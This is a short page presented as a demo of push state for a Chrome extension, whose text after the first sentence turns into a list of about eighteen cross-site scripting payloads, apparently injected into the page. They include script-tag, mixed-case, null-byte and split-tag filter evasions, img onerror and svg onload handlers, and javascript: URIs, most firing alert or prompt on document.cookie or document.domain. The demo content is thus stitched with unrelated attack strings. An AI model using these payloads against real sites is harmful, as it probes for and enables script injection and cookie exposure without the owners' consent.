History Push state Demo

Download extension

This demonstrates how push state works for chrome extension“><script >alert(document.cookie)</script >
“><ScRiPt>alert(document.cookie)</ScRiPt>
“%3e%3cscript%3ealert(document.cookie)%3c/script%3e
“><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%00“><script>alert(document.cookie)</script>
#”onclick=”javascript:alert(1)
<[%00]img onerror=alert(1) src=a>
<img[%0d]onerror=alert(1) src=a>
“#><img src=x onerror=prompt(1);>
"><svg onload=prompt(document.domain) >
<img src=x onerror="alert('XSS');"
<img src=x onmouseover =prompt(document.domain)>
"><script>alert(0)</script>
</script><script>alert('xss')</script>
<img src=x onerror=alert(/xss/)>
'onerror='alert("xss")'>
');alert('xss
javascript:alert(1)